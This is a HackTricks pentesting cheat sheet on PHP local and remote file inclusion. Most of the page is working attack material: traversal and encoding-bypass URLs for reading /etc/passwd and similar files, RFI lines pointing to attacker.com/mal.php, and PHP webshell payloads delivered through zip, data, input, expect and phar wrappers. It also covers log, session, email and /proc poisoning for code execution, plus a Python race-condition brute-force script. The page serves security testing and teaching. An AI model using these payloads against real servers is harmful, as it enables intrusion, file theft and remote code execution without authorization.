hacktricks/pentesting-web/file-inclusion/README.md

# File Inclusion/Path traversal

{% hint style="danger" %}
Do you use **Hacktricks every day**? Did you find the book **very** **useful**? Would you like to **receive extra help** with cybersecurity questions? Would you like to **find more and higher quality content on Hacktricks**?  
[**Support Hacktricks through github sponsors**](https://github.com/sponsors/carlospolop) **so we can dedicate more time to it and also get access to the Hacktricks private group where you will get the help you need and much more!**
{% endhint %}

If you want to know about my **latest modifications**/**additions** or you have **any suggestion for HackTricks** or **PEASS**, **join the** [**💬**](https://emojipedia.org/speech-balloon/)[**telegram group**](https://t.me/peass), or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**  
If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book and don't forget to **give ⭐** on **github** to **motivate** **me** to continue developing this book.

## File Inclusion

**Remote File Inclusion \(RFI\):** The file is loaded from a remote server \(Best: You can write the code and the server will execute it\). In php this is **disabled** by default \(**allow\_url\_include**\).  
**Local File Inclusion \(LFI\):** The sever loads a local file.

The vulnerability occurs when the user can control in some way the file that is going to be load by the server.

Vulnerable **PHP functions**: require, require\_once, include, include\_once

A interesting tool to exploit this vulnerability: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)

## Blind - Interesting - LFI2RCE files

```python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
```

### **Linux**

**Mixing several \*nix LFI lists and adding more paths I have created this one:**

{% embed url="https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/file\_inclusion\_linux.txt" %}

Try also to change `/` for `\`  
Try also to add `../../../../../`

A list that uses several techniques to find the file /etc/password \(to check if the vulnerability exists\) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)

### **Windows**

Merging several lists I have created:

{% embed url="https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/file\_inclusion\_windows.txt" %}

Try also to change `/` for `\`  
Try also to remove `C:/` and add `../../../../../`

A list that uses several techniques to find the file /boot.ini \(to check if the vulnerability exists\) can be found [here](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)

### **OS X**

Check the LFI list of linux.

## Basic LFI and bypasses

All the examples are for Local File Inclusion but could be applied to Remote File Inclusion also \(page=[http://myserver.com/phpshellcode.txt\](http://myserver.com/phpshellcode.txt\)\).

```text
http://example.com/index.php?page=../../../etc/passwd
```

### traversal sequences stripped non-recursively

```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```

### **Null byte \(%00\)**

Bypass the append more chars at the end of the provided string \(bypass of: $\_GET\['param'\]."php"\)

```text
http://example.com/index.php?page=../../../etc/passwd%00
```

This is **solved since PHP 5.4**

### **Encoding**

You could use non-standard encondings like double URL encode \(and others\):

```text
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```

### From existent folder

Maybe the back-end is checking the folder path:

```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```

### **Path truncation**

Bypass the append of more chars at the end of the provided string \(bypass of: $\_GET\['param'\]."php"\)

```text
In PHP: /etc/passwd = /etc//passwd = /etc/./passwd = /etc/passwd/ = /etc/passwd/.
Check if last 6 chars are passwd --> passwd/
Check if last 4 chars are ".php" --> shellcode.php/.
```

```text
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd..\.\.\.\.\.\.\.\.\.\.\[ADD MORE]\.\.
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.

#With the next options, by trial and error, you have to discover how many "../" are needed to delete the appended string but not "/etc/passwd" (near 2027)

http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```

Always try to **start** the path **with a fake directory** \(a/\).

**This vulnerability was corrected in PHP 5.3.**

### **Filter bypass tricks**

```text
http://example.com/index.php?page=....//....//etc/passwd
http://example.com/index.php?page=..///////..////..//////etc/passwd
http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
```

## Basic RFI

```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```

## Top 25 parameters

Here’s list of top 25 parameters that could be vulnerable to local file inclusion \(LFI\) vulnerabilities \(from [link](https://twitter.com/trbughunters/status/1279768631845494787)\):

```text
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
```

## LFI / RFI using PHP wrappers

### Wrapper php://filter

#### Base64 and rot13

The part "php://filter" is case insensitive

```text
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php
```

#### zlib \(compression\)

Can be chained with a **compression** wrapper for large files.

```text
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd
```

To read the comppression data you need to decode the base64 and read the resulting data using:

```bash
php -a #Starts a php console
readfile('php://filter/zlib.inflate/resource=test.deflated');
```

**NOTE: Wrappers can be chained**

### Wrapper zip://

Upload a Zip file with a PHPShell inside and access it.

```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;  
zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php

http://example.com/index.php?page=zip://shell.jpg%23payload.php
```

### Wrapper data://

```text
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
```

Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : `http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+`

Note that this protocol is restricted by php configurations **`allow_url_open`** and **`allow_url_include`**

### Wrapper expect://

Expect has to be activated. You can execute code using this.

```text
http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls
```

### Wrapper input://

Specify your payload in the POST parameters

```text
http://example.com/index.php?page=php://input
POST DATA: <?php system('id'); ?>
```

### Wrapper phar://

A `.phar` file can be also used to execute PHP code if the web is using some function like `include` to load the file.

{% code title="create\_phar.php" %}
```python
<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); system("ls"); ?>');

$phar->stopBuffering();
```
{% endcode %}

And you can compile the `phar` executing the following line:

```bash
php --define phar.readonly=0 create_path.php
```

A file called `test.phar` will be generated that you can use to abuse the LFI.

If the LFI is just reading the file and not executing the php code inside of it, for example using functions like _**file\_get\_contents\(\), fopen\(\), file\(\) or file\_exists\(\), md5\_file\(\), filemtime\(\) or filesize\(\)**_**.** You can try to abuse a **deserialization** occurring when **reading** a **file** using the **phar** protocol.  
For more information read the following post:

{% page-ref page="phar-deserialization.md" %}

### More protocols

Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php).

## LFI via PHP's 'assert'

If you encounter a difficult LFI that appears to be filtering traversal strings such as ".." and responding with something along the lines of "Hacking attempt" or "Nice try!", an 'assert' injection payload may work.

A payload like this:

```text
' and die(show_source('/etc/passwd')) or '
```

will successfully exploit PHP code for a "file" parameter that looks like this:

```text
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
```

It's also possible to get RCE in a vulnerable "assert" statement using the system\(\) function:

```text
' and die(system("whoami")) or '
```

Be sure to URL-encode payloads before you send them.

## LFI2RCE

### Basic RFI

```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```

### Via Apache log file

If the Apache server is vulnerable to LFI inside the include function you could try to access to _**/var/log/apache2/access.log**_, set inside the user agent or inside a GET parameter a php shell like `<?php system($_GET['c']); ?>` and execute code using the "c" GET parameter.

Note that **if you use double quotes** for the shell instead of **simple quotes**, the double quotes will be modified for the string "_**quote;**_", **PHP will throw an error** there and **nothing else will be executed**.

This could also be done in other logs but b**e careful,** the code inside the logs could be URL encoded and this could destroy the Shell. The header **authorisation "basic"** contains "user:password" in Base64 and it is decoded inside the logs. The PHPShell could be inserted inside this header.  
Other possible log paths:

```python
/var/log/apache2/access.log
/var/log/apache/access.log
/var/log/apache2/error.log
/var/log/apache/error.log
/usr/local/apache/log/error_log
/usr/local/apache2/log/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/var/log/httpd/error_log
```

Fuzzing wordlist: https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI

### Via Email

Send a mail to a internal account \(user@localhost\) containing `<?php echo system($_REQUEST["cmd"]); ?>` and access to the mail _**/var/mail/USER&cmd=whoami**_

### Via /proc/\*/fd/\*

1. Upload a lot of shells \(for example : 100\)
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), with $PID = PID of the process \(can be brute forced\) and $FD the file descriptor \(can be brute forced too\)

### Via /proc/self/environ

Like a log file, send the payload in the User-Agent, it will be reflected inside the /proc/self/environ file

```text
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
User-Agent: <?=phpinfo(); ?>
```

### Via upload

If you can upload a file, just inject the shell payload in it \(e.g : `<?php system($_GET['c']); ?>` \).

```text
http://example.com/index.php?page=path/to/uploaded/file.png
```

In order to keep the file readable it is best to inject into the metadata of the pictures/doc/pdf

### Via Zip fie upload

Upload a ZIP file containing a PHP shell compressed and access:

```python
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
```

### Via PHP sessions

Check if the website use PHP Session \(PHPSESSID\)

```text
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
```

In PHP these sessions are stored into _/var/lib/php5/sess\_\[PHPSESSID\]\_ files

```text
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
```

Set the cookie to `<?php system('cat /etc/passwd');?>`

```text
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
```

Use the LFI to include the PHP session file

```text
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
```

### Via ssh

If ssh is active check which user is being used \(/proc/self/status & /etc/passwd\) and try to access **&lt;HOME&gt;/.ssh/id\_rsa**

### **Via** **vsftpd** _**logs**_

The logs of this FTP server are stored in _**/var/log/vsftpd.log.**_ If you have a LFI and can access a exposed vsftpd server, you could try to login setting the PHP payload in the username and then access the logs using the LFI.

### Via phpinfo\(\) \(file\_uploads = on\)

To exploit this vulnerability you need: **A LFI vulnerability, a page where phpinfo\(\) is displayed, "file\_uploads = on" and the server has to be able to write in the "/tmp" directory.**

[https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/File%20Inclusion/phpinfolfi.py](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/File%20Inclusion/phpinfolfi.py)

**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s)

You need to fix the exploit \(change **=&gt;** for **=&gt;**\). To do so you can do:

```text
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py
```

You have to change also the **payload** at the beginning of the exploit \(for a php-rev-shell for example\), the **REQ1** \(this should point to the phpinfo page and should have the padding included, i.e.: _REQ1="""POST /install.php?mode=phpinfo&a="""+padding+""" HTTP/1.1\r_\), and **LFIREQ** \(this should point to the LFI vulnerability, i.e.: _LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r --_ Check the double "%" when exploiting null char\)

{% file src="../../.gitbook/assets/lfi-with-phpinfo-assistance.pdf" %}

#### Theory

If uploads are allowed in PHP and you try to upload a file, this files is stored in a temporal directory until the server has finished processing the request, then this temporary files is deleted.

Then, if have found a LFI vulnerability in the web server you can try to guess the name of the temporary file created and exploit a RCE accessing the temporary file before it is deleted.

In **Windows** the files are usually stored in **C:\Windows\temp\php&lt;&lt;**

In **linux** the name of the file use to be **random** and located in **/tmp**. As the name is random, it is needed to **extract from somewhere the name of the temporal file** and access it before it is deleted. This can be done reading the value of the **variable $\_FILES** inside the content of the function "**phpconfig\(\)**".

**phpinfo\(\)**

**PHP** uses a buffer of **4096B** and when it is **full**, it is **send to the client**. Then the client can **send** **a lot of big requests** \(using big headers\) **uploading a php** reverse **shell**, wait for the **first part of the phpinfo\(\) to be returned** \(where the name of the temporary file is\) and try to **access the temp file** before the php server deletes the file exploiting a LFI vulnerability.

**Python script to try to bruteforce the name \(if length = 6\)**

```python
import itertools
import requests
import sys

print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
    requests.post('http://target.com/index.php?c=index.php', f)


print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
    url = 'http://target.com/index.php?c=/tmp/php' + fname
    r = requests.get(url)
    if 'load average' in r.text:  # <?php echo system('uptime');
        print('[+] We have got a shell: ' + url)
        sys.exit(0)

print('[x] Something went wrong, please try again')
```

### References

[PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)  
[PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)

{% file src="../../.gitbook/assets/en-local-file-inclusion-1.pdf" %}